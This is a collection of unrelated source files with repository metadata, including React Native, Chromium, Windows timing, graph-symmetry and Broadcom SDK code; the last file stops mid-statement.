2022-03-27T02:59:18.000Z
linsched-linsched-alpha/arch/cris/include/asm/spinlock.h
usenixatc2021/SoftRefresh_Scheduling
589ba06c8ae59538973c22edf28f74a59d63aa14
[ "MIT" ]
19
2015-02-25T19:50:05.000Z
2021-10-05T14:35:54.000Z
#include <arch/spinlock.h>
13.5
26
0.740741
edb872fb04cee2daed619128de055014a0d05834
2,897
h
C
ios/versioned-react-native/ABI36_0_0/ReactNative/React/Fabric/ABI36_0_0RCTScheduler.h
rudylee/expo
b3e65a7a5b205f14a3eb6cd6fa8d13c8d663b1cc
[ "Apache-2.0", "MIT" ]
3
2020-09-06T17:32:53.000Z
2021-05-20T19:04:48.000Z
ios/versioned-react-native/ABI36_0_0/ReactNative/React/Fabric/ABI36_0_0RCTScheduler.h
rudylee/expo
b3e65a7a5b205f14a3eb6cd6fa8d13c8d663b1cc
[ "Apache-2.0", "MIT" ]
16
2021-03-01T21:18:59.000Z
2022-02-27T08:18:52.000Z
ios/versioned-react-native/ABI36_0_0/ReactNative/React/Fabric/ABI36_0_0RCTScheduler.h
rudylee/expo
b3e65a7a5b205f14a3eb6cd6fa8d13c8d663b1cc
[ "Apache-2.0", "MIT" ]
2
2020-04-25T16:31:11.000Z
2020-04-25T16:31:13.000Z
/** * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ #import <UIKit/UIKit.h> #import <memory> #import <ABI36_0_0React/ABI36_0_0RCTPrimitives.h> #import <ABI36_0_0React/core/ComponentDescriptor.h> #import <ABI36_0_0React/core/LayoutConstraints.h> #import <ABI36_0_0React/core/LayoutContext.h> #import <ABI36_0_0React/mounting/MountingCoordinator.h> #import <ABI36_0_0React/uimanager/ComponentDescriptorFactory.h> #import <ABI36_0_0React/uimanager/SchedulerToolbox.h> #import <ABI36_0_0React/utils/ContextContainer.h> NS_ASSUME_NONNULL_BEGIN @class ABI36_0_0RCTMountingManager; /** * Exactly same semantic as `ABI36_0_0facebook::ABI36_0_0React::SchedulerDelegate`. */ @protocol ABI36_0_0RCTSchedulerDelegate - (void)schedulerDidFinishTransaction:(ABI36_0_0facebook::ABI36_0_0React::MountingCoordinator::Shared const &)mountingCoordinator; - (void)schedulerDidDispatchCommand:(ABI36_0_0facebook::ABI36_0_0React::ShadowView const &)shadowView commandName:(std::string const &)commandName args:(folly::dynamic const)args; @end /** * `ABI36_0_0facebook::ABI36_0_0React::Scheduler` as an Objective-C class. */ @interface ABI36_0_0RCTScheduler : NSObject @property (atomic, weak, nullable) id<ABI36_0_0RCTSchedulerDelegate> delegate; - (instancetype)initWithToolbox:(ABI36_0_0facebook::ABI36_0_0React::SchedulerToolbox)toolbox; - (void)startSurfaceWithSurfaceId:(ABI36_0_0facebook::ABI36_0_0React::SurfaceId)surfaceId moduleName:(NSString *)moduleName initialProps:(NSDictionary *)initialProps layoutConstraints:(ABI36_0_0facebook::ABI36_0_0React::LayoutConstraints)layoutConstraints layoutContext:(ABI36_0_0facebook::ABI36_0_0React::LayoutContext)layoutContext; - (void)stopSurfaceWithSurfaceId:(ABI36_0_0facebook::ABI36_0_0React::SurfaceId)surfaceId; - (CGSize)measureSurfaceWithLayoutConstraints:(ABI36_0_0facebook::ABI36_0_0React::LayoutConstraints)layoutConstraints layoutContext:(ABI36_0_0facebook::ABI36_0_0React::LayoutContext)layoutContext surfaceId:(ABI36_0_0facebook::ABI36_0_0React::SurfaceId)surfaceId; - (void)constraintSurfaceLayoutWithLayoutConstraints:(ABI36_0_0facebook::ABI36_0_0React::LayoutConstraints)layoutConstraints layoutContext:(ABI36_0_0facebook::ABI36_0_0React::LayoutContext)layoutContext surfaceId:(ABI36_0_0facebook::ABI36_0_0React::SurfaceId)surfaceId; - (const ABI36_0_0facebook::ABI36_0_0React::ComponentDescriptor &)getComponentDescriptor:(ABI36_0_0facebook::ABI36_0_0React::ComponentHandle)handle; @end NS_ASSUME_NONNULL_END
43.238806
148
0.755609
54e644cbd637c48a1a2c8f4d71a0455d9ed810de
1,613
h
C
chrome_elf/third_party_dlls/packed_list_file.h
zipated/src
2b8388091c71e442910a21ada3d97ae8bc1845d3
[ "BSD-3-Clause" ]
2,151
2020-04-18T07:31:17.000Z
2022-03-31T08:39:18.000Z
chrome_elf/third_party_dlls/packed_list_file.h
cangulcan/src
2b8388091c71e442910a21ada3d97ae8bc1845d3
[ "BSD-3-Clause" ]
395
2020-04-18T08:22:18.000Z
2021-12-08T13:04:49.000Z
chrome_elf/third_party_dlls/packed_list_file.h
cangulcan/src
2b8388091c71e442910a21ada3d97ae8bc1845d3
[ "BSD-3-Clause" ]
338
2020-04-18T08:03:10.000Z
2022-03-29T12:33:22.000Z
// Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROME_ELF_THIRD_PARTY_DLLS_PACKED_LIST_FILE_H_ #define CHROME_ELF_THIRD_PARTY_DLLS_PACKED_LIST_FILE_H_ #include <windows.h> #include <string> namespace third_party_dlls { // "static_cast<int>(FileStatus::value)" to access underlying value. enum class FileStatus { kSuccess = 0, kUserDataDirFail = 1, kFileNotFound = 2, kFileAccessDenied = 3, kFileUnexpectedFailure = 4, kMetadataReadFail = 5, kInvalidFormatVersion = 6, kArraySizeZero = 7, kArrayTooBig = 8, kArrayReadFail = 9, kArrayNotSorted = 10, COUNT }; // Utility function that takes required PE fingerprint data and returns a SHA-1 // fingerprint hash. To be used with IsModuleListed() and logging APIs. std::string GetFingerprintHash(DWORD image_size, DWORD time_data_stamp); // Look up a binary based on the required data points. // - Returns true if match found in the list. bool IsModuleListed(const std::string& basename_hash, const std::string& fingerprint_hash); // Get the full path of the blacklist file used. std::wstring GetBlFilePathUsed(); // Initialize internal module list from file. FileStatus InitFromFile(); // Removes initialization for use by tests, or cleanup on failure. void DeinitFromFile(); // Overrides the blacklist path for use by tests. void OverrideFilePathForTesting(const std::wstring& new_bl_path); } // namespace third_party_dlls #endif // CHROME_ELF_THIRD_PARTY_DLLS_PACKED_LIST_FILE_H_
29.87037
79
0.763794
b0e01782421dc05374f43e28f2b188daec853b38
277
h
C
Example/KMTestPod/KMAppDelegate.h
kim68666343/KMTestPod
04c960389d186cc55ffc66582cce945dd85b27f3
[ "MIT" ]
null
null
null
Example/KMTestPod/KMAppDelegate.h
kim68666343/KMTestPod
04c960389d186cc55ffc66582cce945dd85b27f3
[ "MIT" ]
null
null
null
Example/KMTestPod/KMAppDelegate.h
kim68666343/KMTestPod
04c960389d186cc55ffc66582cce945dd85b27f3
[ "MIT" ]
null
null
null
// // KMAppDelegate.h // KMTestPod // // Created by kim68666343 on 10/16/2018. // Copyright (c) 2018 kim68666343. All rights reserved. // @import UIKit; @interface KMAppDelegate : UIResponder <UIApplicationDelegate> @property (strong, nonatomic) UIWindow *window; @end
17.3125
62
0.722022
b84ca9b8a4d65351f97a5a6cdf06522d85642286
482
c
C
src/util/sse42.c
kasymovga/taisei
8aad971114186b0679ac5447381c427d7319fe21
[ "CC-BY-4.0" ]
null
null
null
src/util/sse42.c
kasymovga/taisei
8aad971114186b0679ac5447381c427d7319fe21
[ "CC-BY-4.0" ]
null
null
null
src/util/sse42.c
kasymovga/taisei
8aad971114186b0679ac5447381c427d7319fe21
[ "CC-BY-4.0" ]
null
null
null
/* * This software is licensed under the terms of the MIT License. * See COPYING for further information. * --- * Copyright (c) 2011-2019, Lukas Weber <laochailan@web.de>. * Copyright (c) 2012-2019, Andrei Alexeyev <akari@taisei-project.org>. */ #include "taisei.h" #include <immintrin.h> #include "sse42.h" uint32_t crc32str_sse42(uint32_t crc, const char *str) { const uint8_t *s = (const uint8_t*)str; while(*s) { crc = _mm_crc32_u8(crc, *s++); } return crc; }
20.083333
71
0.680498
fc2fde2d0181f9ddecde984ea714c1799864dc4e
10,117
h
C
Core/Symmetry.h
TomasSirgedas/HadwigerNelsonTiling
2862ef41a2de229eccd9854f283e5424e188f47d
[ "Unlicense" ]
null
null
null
Core/Symmetry.h
TomasSirgedas/HadwigerNelsonTiling
2862ef41a2de229eccd9854f283e5424e188f47d
[ "Unlicense" ]
null
null
null
Core/Symmetry.h
TomasSirgedas/HadwigerNelsonTiling
2862ef41a2de229eccd9854f283e5424e188f47d
[ "Unlicense" ]
null
null
null
#pragma once #include "CoreMacros.h" #include "DataTypes.h" #include "Util.h" #include "Json.h" #include <vector> #include <string> #include <memory> #include <unordered_map> class IGraphSymmetry; //struct Sector //{ // Sector with0AtIndex( int index ) const { if ( index < 0 ) return *this; Sector ret = *this; ret[index] = 0; return ret; } // std::string name() const { std::string ret; for ( int x : v ) ret += std::to_string( x ); return ret; } // int& operator[]( int index ) { return v[index]; } // int operator[]( int index ) const { return v[index]; } // bool operator==( const Sector& rhs ) const { return v == rhs.v; } // bool operator!=( const Sector& rhs ) const { return !(*this == rhs); } // bool operator<( const Sector& rhs ) const { return v < rhs.v; } // // std::vector<int> v; //}; class IGraphSymmetry; class CORE_API SectorId { public: SectorId() {} SectorId( int id, const IGraphSymmetry* graphSymmetry ) : _Id(id), _GraphSymmetry(graphSymmetry) {} static SectorId identity( const IGraphSymmetry* graphSymmetry ) { return SectorId( 0, graphSymmetry ); } int id() const { return _Id; } bool isValid() const { return _Id >= 0; } bool operator==( const SectorId& rhs ) const { return _Id == rhs._Id; } bool operator!=( const SectorId& rhs ) const { return !( *this == rhs ); } bool operator<( const SectorId& rhs ) const { return _Id < rhs._Id; } SectorId operator*( const SectorId& rhs ) const; SectorId inverted() const; Matrix4x4 matrix() const; int mapColor( int color ) const; int unmapColor( int color ) const; private: int _Id = -1; const IGraphSymmetry* _GraphSymmetry = nullptr; }; class SectorSymmetryForVertex { public: SectorSymmetryForVertex( const IGraphSymmetry* _GraphSymmetry, const XYZ& pos ); std::vector<SectorId> uniqueSectors() const { return _UniqueSectors; } std::vector<SectorId> sectorEquivalents( const SectorId& sectorId ) const { return _EquivalentSectorIds[sectorId.id()]; } std::vector<SectorId> sectorEquivalentsToIdentity() const { return _EquivalentSectorIds[_IdentitySectorId]; } SectorId canonicalizedSectorId( const SectorId& sectorId ) const; //int canonicalizedSectorId( int sectorId ) const; bool hasSymmetry() const { return _EquivalentSectorIds[0].size() > 1; } private: const IGraphSymmetry* _GraphSymmetry = nullptr; std::vector<std::vector<SectorId>> _EquivalentSectorIds; //std::vector<std::vector<Matrix4x4>> _EquivalentSectors; std::vector<SectorId> _UniqueSectors; int _IdentitySectorId = -1; }; class IGraphSymmetry { public: virtual int numSectors() const = 0; virtual int toSector( int sectorId, int color ) const = 0; virtual int fromSector( int sectorId, int color ) const = 0; virtual int sectorId( const Matrix4x4& sector ) const = 0; virtual std::string sectorName( int sectorId ) const = 0; virtual std::vector<SectorId> allVisibleSectors() const = 0; virtual std::vector<SectorId> allSectors() const = 0; virtual Matrix4x4 matrix( int sectorId ) const = 0; virtual bool isSectorIdVisible( int sectorId ) const = 0; virtual int mul( int sectorA, int sectorB ) const = 0; virtual int inverted( int sectorId ) const = 0; virtual Json toJson() const = 0; static std::shared_ptr<IGraphSymmetry> fromJson( const Json& json ); std::shared_ptr<SectorSymmetryForVertex> calcSectorSymmetry( const XYZ& pos ) const { return std::shared_ptr<SectorSymmetryForVertex>( new SectorSymmetryForVertex( this, pos ) ); } }; class SymmetryGroup { public: CORE_API SymmetryGroup( const Matrix4x4& matrix, const Perm& colorPerm ) : _Matrix(matrix), _ColorPerm(colorPerm) { init( 0, 0 ); } CORE_API SymmetryGroup( const Matrix4x4& matrix, const Perm& colorPerm, int visibleLoIndexHint, int visibleHiIndexHint ) : _Matrix(matrix), _ColorPerm(colorPerm) { init( visibleLoIndexHint, visibleHiIndexHint ); } CORE_API SymmetryGroup( const Json& json ); CORE_API int visibleLoIndex() const { return _VisibleLoIndex; } CORE_API int visibleHiIndex() const { return _VisibleHiIndex; } CORE_API int loIndex() const { return _LoIndex; } CORE_API int hiIndex() const { return _HiIndex; } CORE_API int canonicalizedIndex( int index ) const { return _IsFinite ? mod( index - _LoIndex, size() ) + _LoIndex : index; } //CORE_API int visibleSize() const { return _VisibleHiIndex - _VisibleLoIndex; } CORE_API int size() const { return _HiIndex - _LoIndex; } CORE_API Matrix4x4 matrix( int index ) const { return _Matrix.pow( canonicalizedIndex( index ) ); } CORE_API Perm colorPerm( int index ) const { return _ColorPerm.pow( canonicalizedIndex( index ) ); } //CORE_API int combine( int indexA, int indexB ) const { return indexOf( matrix( indexA ) * matrix( indexB ) ); } CORE_API int combine( int indexA, int indexB ) const { return canonicalizedIndex( indexA + indexB ); } CORE_API int invert( int index ) const { return canonicalizedIndex( -index ); } CORE_API bool isVisible( int index ) const { return index >= _VisibleLoIndex && index < _VisibleHiIndex; } //CORE_API int indexOf( const Matrix4x4& rhs ) const //{ // for ( int i = _LoIndex; i < _HiIndex; i++ ) // if ( rhs.eq( matrix( i ) ) ) // return i; // return 999999; //} CORE_API Json toJson() const; private: void init( int visibleLoIndex, int visibleHiIndex ); private: Matrix4x4 _Matrix; Perm _ColorPerm; int _LoIndex = 0; // inclusive int _HiIndex = 0; // exclusive int _VisibleLoIndex = 0; // inclusive int _VisibleHiIndex = 0; // exclusive bool _IsFinite; }; class GraphSymmetry_Groups : public IGraphSymmetry { public: CORE_API GraphSymmetry_Groups( const std::vector<SymmetryGroup>& groups ); CORE_API int numSectors() const override { int ret = 1; for ( const SymmetryGroup& g : _Groups ) ret *= g.size(); return ret; } CORE_API int sectorId( const Matrix4x4& sector ) const override { return _SectorHashToId.count( matrixHash( sector ) ) ? _SectorHashToId.at( matrixHash( sector ) ) : -1; } CORE_API int toSector( int sectorId, int color ) const override { return _SectorIdToColorPerm[sectorId][color]; } CORE_API int fromSector( int sectorId, int color ) const override { return _SectorIdToColorPerm[sectorId].inverted()[color]; } CORE_API std::string sectorName( int sectorId ) const { return _SectorIdToName[sectorId]; } CORE_API std::vector<SectorId> allVisibleSectors() const override { return _AllVisibleSectors; } CORE_API std::vector<SectorId> allSectors() const override { return _AllSectors; } CORE_API bool isSectorIdVisible( int sectorId ) const override { return _SectorIdIsVisible[sectorId]; } CORE_API Matrix4x4 matrix( int sectorId ) const override { return _SectorIdToMatrix[sectorId]; } CORE_API int mul( int sectorA, int sectorB ) const { return _Mul[sectorA][sectorB]; } CORE_API int inverted( int sectorId ) const { return _Invert[sectorId]; } CORE_API Json toJson() const override; private: void initAllSectorGroupIndexes( int i, std::vector<int>& groupIndexes ); public: std::vector<SymmetryGroup> _Groups; std::unordered_map<uint64_t, int> _SectorHashToId; std::vector<std::vector<int>> _AllSectorGroupIndexes; std::vector<Matrix4x4> _SectorIdToMatrix; std::vector<bool> _SectorIdIsVisible; std::vector<SectorId> _AllSectors; std::vector<SectorId> _AllVisibleSectors; std::vector<Perm> _SectorIdToColorPerm; std::vector<std::string> _SectorIdToName; std::vector<std::vector<int>> _Mul; std::vector<int> _Invert; }; class IGraphShape { public: virtual bool toSurfaceFrom2D( const XYZ& p, XYZ& surfacePoint ) const = 0; virtual XYZ toSurfaceFrom3D( const XYZ& p ) const = 0; virtual double modelSize() const = 0; virtual XYZ normalAt( const XYZ& p ) const = 0; virtual bool isVisible( const XYZ& pos, const Matrix4x4& rotationMatrix ) const = 0; virtual bool isValidWinding( const std::vector<XYZ>& v ) const { return true; } virtual double radius() const { return 1.; } virtual void setRadius( double radius ) {} virtual bool isCurved() const = 0; virtual Json toJson() const = 0; static std::shared_ptr<IGraphShape> fromJson( const Json& json ); }; class GraphShapeSphere : public IGraphShape { public: GraphShapeSphere( double radius ) : _Radius( radius ) {} bool toSurfaceFrom2D( const XYZ& p, XYZ& surfacePoint ) const override { double z2 = _Radius*_Radius - p.x*p.x - p.y*p.y; if ( z2 <= 0 ) return false; surfacePoint = XYZ( p.x, p.y, -sqrt( z2 ) ); return true; } XYZ toSurfaceFrom3D( const XYZ& p ) const override { return p.normalized() * _Radius; } double modelSize() const override { return _Radius; } XYZ normalAt( const XYZ& p ) const override { return p.normalized(); } bool isVisible( const XYZ& pos, const Matrix4x4& rotationMatrix ) const override { return (rotationMatrix * pos).z <= 0; } double radius() const override { return _Radius; } void setRadius( double radius ) override { _Radius = radius; } bool isCurved() const override { return true; } virtual Json toJson() const override { return JsonObj { { "type", "sphere" }, { "radius", _Radius } }; } private: double _Radius; }; class GraphShapePlane : public IGraphShape { public: GraphShapePlane() {} bool toSurfaceFrom2D( const XYZ& p, XYZ& surfacePoint ) const override { surfacePoint = XYZ( p.x, p.y, 0. ); return true; } XYZ toSurfaceFrom3D( const XYZ& p ) const override { return XYZ( p.x, p.y, 0 ); } double modelSize() const override { return 0; } XYZ normalAt( const XYZ& p ) const override { return XYZ( 0, 0, -1 ); } bool isVisible( const XYZ& pos, const Matrix4x4& rotationMatrix ) const override { return true; } bool isValidWinding( const std::vector<XYZ>& v ) const override { return signedArea( v ) >= 0; } bool isCurved() const override { return false; } virtual Json toJson() const override { return JsonObj { { "type", "plane" } }; } };
41.979253
216
0.695957
f730ff01b734ef339188d5b4444742a5326217bd
9,870
h
C
exectime/time_example.h
dychoe80/samples
ebf3f4b69f2f2bc1c5b0d1afc10999692e5d0c0f
[ "MIT" ]
null
null
null
exectime/time_example.h
dychoe80/samples
ebf3f4b69f2f2bc1c5b0d1afc10999692e5d0c0f
[ "MIT" ]
null
null
null
exectime/time_example.h
dychoe80/samples
ebf3f4b69f2f2bc1c5b0d1afc10999692e5d0c0f
[ "MIT" ]
null
null
null
// This file is subject to the terms and conditions defined in // file 'LICENSE', which is part of this source code package. #pragma once #include "ippcore.h" // ippGetCpuClocks #pragma comment(lib, "ippcoremt.lib") // static linking to IPP core #include <chrono> // std::chrono::steady_clock #include <iostream> #include <ctime> // std::clock, std::time #include <intrin.h> // __rdtsc #include <Windows.h> // QueryPerformanceCounter, GetTickCount64, timeGetTime #pragma comment(lib, "Winmm.lib") // timeGetTime #include <realtimeapiset.h> #pragma comment(lib, "Mincore.lib") // QueryInterruptTime, QueryInterruptTimePrecise // std::chrono::steady_clock template <typename Functor> void doExample__chrono_steady_clock(Functor&& func) { std::chrono::steady_clock::time_point const begin = std::chrono::steady_clock::now(); func(); std::chrono::steady_clock::time_point const end = std::chrono::steady_clock::now(); std::cout << "Time difference [usec]: " << std::chrono::duration_cast<std::chrono::microseconds>(end - begin).count() << std::endl; } // std::chrono::high_resolution_clock template <typename Functor> void doExample__chrono_high_resolution(Functor&& func) { std::chrono::high_resolution_clock::time_point const begin = std::chrono::high_resolution_clock::now(); func(); std::chrono::high_resolution_clock::time_point const end = std::chrono::high_resolution_clock::now(); std::cout << "Time difference [usec]: " << std::chrono::duration_cast<std::chrono::microseconds>(end - begin).count() << std::endl; } // std::chrono::system_clock template <typename Functor> void doExample__chrono_system_clock(Functor&& func) { std::chrono::system_clock::time_point const begin = std::chrono::system_clock::now(); func(); std::chrono::system_clock::time_point const end = std::chrono::system_clock::now(); std::cout << "Time difference [usec]: " << std::chrono::duration_cast<std::chrono::microseconds>(end - begin).count() << std::endl; } // QueryPerformanceCounter() template <typename Functor> void doExample__QueryPerformanceCounter(Functor&& func) { LARGE_INTEGER begin; QueryPerformanceFrequency(&begin); double const pcFreqMhz = begin.QuadPart / 1000000.0; QueryPerformanceCounter(&begin); func(); LARGE_INTEGER end; QueryPerformanceCounter(&end); std::cout << "Time difference [usec]: " << (end.QuadPart - begin.QuadPart) / pcFreqMhz << std::endl; } // std::clock() template <typename Functor> void doExample__clock(Functor&& func) { std::clock_t const beginClk = std::clock(); func(); std::clock_t const endClk = std::clock(); std::cout << "Time difference [sec]: " << (endClk - beginClk) * 1.0 / CLOCKS_PER_SEC << std::endl; } // ippGetCpuClock() template <typename Functor> void doExample__ippGetCpuClocks(Functor&& func) { int cpuFreqMhz = 0; ippGetCpuFreqMhz(&cpuFreqMhz); Ipp64u const beginClk = ippGetCpuClocks(); func(); Ipp64u const endClk = ippGetCpuClocks(); std::cout << "Time difference [usec]: " << (endClk - beginClk) * 1.0 / cpuFreqMhz << std::endl; } // GetProcessTimes() template <typename Functor> void doExample__GetProcessTimes(Functor&& func) { FILETIME createTime = {}, exitTime = {}, kernelTime = {}, userTime = {}; HANDLE const thisProc = GetCurrentProcess(); GetProcessTimes(thisProc, &createTime, &exitTime, &kernelTime, &userTime); long long const kernelBegin = kernelTime.dwLowDateTime | (static_cast<long long>(kernelTime.dwHighDateTime) << 32); long long const userBegin = userTime.dwLowDateTime | (static_cast<long long>(userTime.dwHighDateTime) << 32); func(); GetProcessTimes(thisProc, &createTime, &exitTime, &kernelTime, &userTime); long long const kernelEnd = kernelTime.dwLowDateTime | (static_cast<long long>(kernelTime.dwHighDateTime) << 32); long long const userEnd = userTime.dwLowDateTime | (static_cast<long long>(userTime.dwHighDateTime) << 32); std::cout << "Kerne lTime difference [usec]: " << (kernelEnd - kernelBegin) * 0.1 << std::endl; std::cout << "User Time difference [usec]: " << (userEnd - userBegin) * 0.1 << std::endl; } // GetThreadTimes() template <typename Functor> void doExample__GetThreadTimes(Functor&& func) { FILETIME createTime = {}, exitTime = {}, kernelTime = {}, userTime = {}; HANDLE const thisThread = GetCurrentThread(); GetThreadTimes(thisThread, &createTime, &exitTime, &kernelTime, &userTime); long long const kernelBegin = kernelTime.dwLowDateTime | (static_cast<long long>(kernelTime.dwHighDateTime) << 32); long long const userBegin = userTime.dwLowDateTime | (static_cast<long long>(userTime.dwHighDateTime) << 32); func(); GetThreadTimes(thisThread, &createTime, &exitTime, &kernelTime, &userTime); long long const kernelEnd = kernelTime.dwLowDateTime | (static_cast<long long>(kernelTime.dwHighDateTime) << 32); long long const userEnd = userTime.dwLowDateTime | (static_cast<long long>(userTime.dwHighDateTime) << 32); std::cout << "Kerne lTime difference [usec]: " << (kernelEnd - kernelBegin) * 0.1 << std::endl; std::cout << "User Time difference [usec]: " << (userEnd - userBegin) * 0.1 << std::endl; } // __rdtsc() template <typename Functor> void doExample__rdtsc(Functor&& func) { unsigned __int64 const beginClk = __rdtsc(); func(); unsigned __int64 const endClk = __rdtsc(); std::cout << "Time difference [clk]: " << (endClk - beginClk) << std::endl; } // std::time() template <typename Functor> void doExample__time(Functor&& func) { std::time_t beginSec = {}; std::time(&beginSec); func(); std::time_t endSec = {}; std::time(&endSec); std::cout << "Time difference [sec]: " << std::difftime(endSec, beginSec) << std::endl; } // timeGetTime() template <typename Functor> void doExample__timeGetTime(Functor&& func) { DWORD const beginMsec = timeGetTime(); func(); DWORD const endMsec = timeGetTime(); std::cout << "elapsed time [msec]: " << (endMsec - beginMsec) << std::endl; } // getTickCount64() template <typename Functor> void doExample__getTickCount64(Functor&& func) { ULONGLONG const beginMsec = GetTickCount64(); func(); ULONGLONG const endMsec = GetTickCount64(); std::cout << "Time difference [msec]: " << (endMsec - beginMsec) << std::endl; } // QueryInterruptTime() template <typename Functor> void doExample__QueryInterruptTime(Functor&& func) { ULONGLONG begin = 0; QueryInterruptTime(&begin); // or QueryUnbiasedInterruptTime() func(); ULONGLONG end = 0; QueryInterruptTime(&end); std::cout << "Time difference [usec]: " << (end - begin) * 0.1 << std::endl; } // QueryInterruptTimePrecise() template <typename Functor> void doExample__QueryInterruptTimePrecise(Functor&& func) { ULONGLONG begin = 0; QueryInterruptTimePrecise(&begin); // QueryUnbiasedInterruptTimePrecise() func(); ULONGLONG end = 0; QueryInterruptTimePrecise(&end); std::cout << "Time difference [usec]: " << (end - begin) * 0.1 << std::endl; } // GetLocalTime() template <typename Functor> void doExample__GetLocalTime(Functor&& func) { SYSTEMTIME beginSysTime = {}; GetLocalTime(&beginSysTime); func(); SYSTEMTIME endSysTime = {}; GetLocalTime(&endSysTime); // Convert system time to file time FILETIME beginFileTime = {}; SystemTimeToFileTime(&beginSysTime, &beginFileTime); FILETIME endFileTime = {}; SystemTimeToFileTime(&endSysTime, &endFileTime); long long const beginTime = beginFileTime.dwLowDateTime | (static_cast<long long>(beginFileTime.dwHighDateTime) << 32); long long const endTime = endFileTime.dwLowDateTime | (static_cast<long long>(endFileTime.dwHighDateTime) << 32); std::cout << "Time difference [usec]: " << (endTime - beginTime) * 0.1 << std::endl; } // GetSystemTime() template <typename Functor> void doExample__GetSystemTime(Functor&& func) { SYSTEMTIME beginSysTime = {}; GetSystemTime(&beginSysTime); func(); SYSTEMTIME endSysTime = {}; GetSystemTime(&endSysTime); // Convert system time to file time FILETIME beginFileTime = {}; SystemTimeToFileTime(&beginSysTime, &beginFileTime); FILETIME endFileTime = {}; SystemTimeToFileTime(&endSysTime, &endFileTime); long long const beginTime = beginFileTime.dwLowDateTime | (static_cast<long long>(beginFileTime.dwHighDateTime) << 32); long long const endTime = endFileTime.dwLowDateTime | (static_cast<long long>(endFileTime.dwHighDateTime) << 32); std::cout << "Time difference [usec]: " << (endTime - beginTime) * 0.1 << std::endl; } // GetSystemTimeAsFileTime() template <typename Functor> void doExample__GetSystemTimeAsFileTime(Functor&& func) { FILETIME begin = {}; GetSystemTimeAsFileTime(&begin); func(); FILETIME end = {}; GetSystemTimeAsFileTime(&end); long long const beginTime = begin.dwLowDateTime | (static_cast<long long>(begin.dwHighDateTime) << 32); long long const endTime = end.dwLowDateTime | (static_cast<long long>(end.dwHighDateTime) << 32); std::cout << "Time difference [usec]: " << (endTime - beginTime) * 0.1 << std::endl; } // GetSystemTimePreciseAsFileTime() template <typename Functor> void doExample__GetSystemTimePreciseAsFileTime(Functor&& func) { FILETIME begin = {}; GetSystemTimePreciseAsFileTime(&begin); func(); FILETIME end = {}; GetSystemTimePreciseAsFileTime(&end); long long const beginTime = begin.dwLowDateTime | (static_cast<long long>(begin.dwHighDateTime) << 32); long long const endTime = end.dwLowDateTime | (static_cast<long long>(end.dwHighDateTime) << 32); std::cout << "Time difference [usec]: " << (endTime - beginTime) * 0.1 << std::endl; }
29.550898
135
0.691996
74723a427d07a3d7640e430e8183a27966c597fa
623
h
C
src/kernel/font.h
fengjixuchui/popcorn
86b7c6b298db3ae0c00de5898908506a0fdb032d
[ "BSL-1.0" ]
null
null
null
src/kernel/font.h
fengjixuchui/popcorn
86b7c6b298db3ae0c00de5898908506a0fdb032d
[ "BSL-1.0" ]
null
null
null
src/kernel/font.h
fengjixuchui/popcorn
86b7c6b298db3ae0c00de5898908506a0fdb032d
[ "BSL-1.0" ]
null
null
null
#pragma once #include <stdint.h> #include "kutil/coord.h" #include "screen.h" class font { public: font(void const *data); unsigned glyph_bytes() const { return m_size.y * ((m_size.x + 7) / 8); } unsigned count() const { return m_count; } unsigned width() const { return m_size.x; } unsigned height() const { return m_size.y; } bool valid() const { return m_count > 0; } void draw_glyph( screen *s, uint32_t glyph, screen::pixel_t fg, screen::pixel_t bg, unsigned x, unsigned y) const; private: kutil::coord<unsigned> m_size; unsigned m_count; uint8_t const *m_data; font() = delete; };
18.323529
73
0.669342
de19833209f76ba33e9c146592504b542b2703c8
17,375
c
C
sdk-6.5.20/src/soc/dnxf/ramon/ramon_fabric_topology.c
copslock/broadcom_cpri
8e2767676e26faae270cf485591902a4c50cf0c5
[ "Spencer-94" ]
null
null
null
sdk-6.5.20/src/soc/dnxf/ramon/ramon_fabric_topology.c
copslock/broadcom_cpri
8e2767676e26faae270cf485591902a4c50cf0c5
[ "Spencer-94" ]
null
null
null
sdk-6.5.20/src/soc/dnxf/ramon/ramon_fabric_topology.c
copslock/broadcom_cpri
8e2767676e26faae270cf485591902a4c50cf0c5
[ "Spencer-94" ]
null
null
null
/* * * * This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file. * * Copyright 2007-2020 Broadcom Inc. All rights reserved. * * SOC RAMON FABRIC TOPOLOGY */ #ifdef BSL_LOG_MODULE #error "BSL_LOG_MODULE redefined" #endif #define BSL_LOG_MODULE BSL_LS_SOCDNX_FABRIC #include <shared/bsl.h> #include <soc/dnxf/cmn/dnxf_drv.h> #include <soc/dnxf/swstate/auto_generated/access/dnxf_access.h> #include <soc/dnxf/ramon/ramon_fabric_topology.h> #include <soc/dnxc/error.h> #include <soc/defs.h> #include <soc/error.h> #include <soc/dnxf/dnxf_data/auto_generated/dnxf_data_device.h> #include <soc/dnxf/dnxf_data/auto_generated/dnxf_data_fabric.h> #include <soc/dnxf/dnxf_data/auto_generated/dnxf_data_port.h> #include <soc/dnxf/dnxf_data/auto_generated/dnxf_data_max_fabric.h> shr_error_e soc_ramon_fabric_topology_isolate_set(int unit, soc_dnxc_isolation_status_t val) { uint32 reg_val32 = 0; uint64 reg_val64; uint32 gpd_rmgr_global_time = 0; uint32 gpd_rmgr_global_at_core_clock_steps = 0; uint32 gpd_spread_time = 0; uint32 gpd_rmgr = 0; uint32 max_base_index = 0; uint32 core_clock_speed; uint32 gpd_threshold; uint32 sleep_time_msec; SHR_FUNC_INIT_VARS(unit); COMPILER_64_ZERO(reg_val64); if(soc_dnxc_isolation_status_isolated == val) { SHR_IF_ERR_EXIT(READ_RTP_GRACEFUL_POWER_DOWN_CONFIGURATIONr(unit, &reg_val64)); soc_reg64_field_set(unit, RTP_GRACEFUL_POWER_DOWN_CONFIGURATIONr, &reg_val64, GRACEFUL_PD_STARTf, 0); SHR_IF_ERR_EXIT(WRITE_RTP_GRACEFUL_POWER_DOWN_CONFIGURATIONr(unit, reg_val64)); sal_usleep(1000); SHR_IF_ERR_EXIT(READ_RTP_GRACEFUL_POWER_DOWN_CONFIGURATIONr(unit, &reg_val64)); soc_reg64_field_set(unit, RTP_GRACEFUL_POWER_DOWN_CONFIGURATIONr, &reg_val64, GRACEFUL_PD_STARTf, 1); SHR_IF_ERR_EXIT(WRITE_RTP_GRACEFUL_POWER_DOWN_CONFIGURATIONr(unit, reg_val64)); gpd_rmgr = soc_reg64_field32_get(unit, 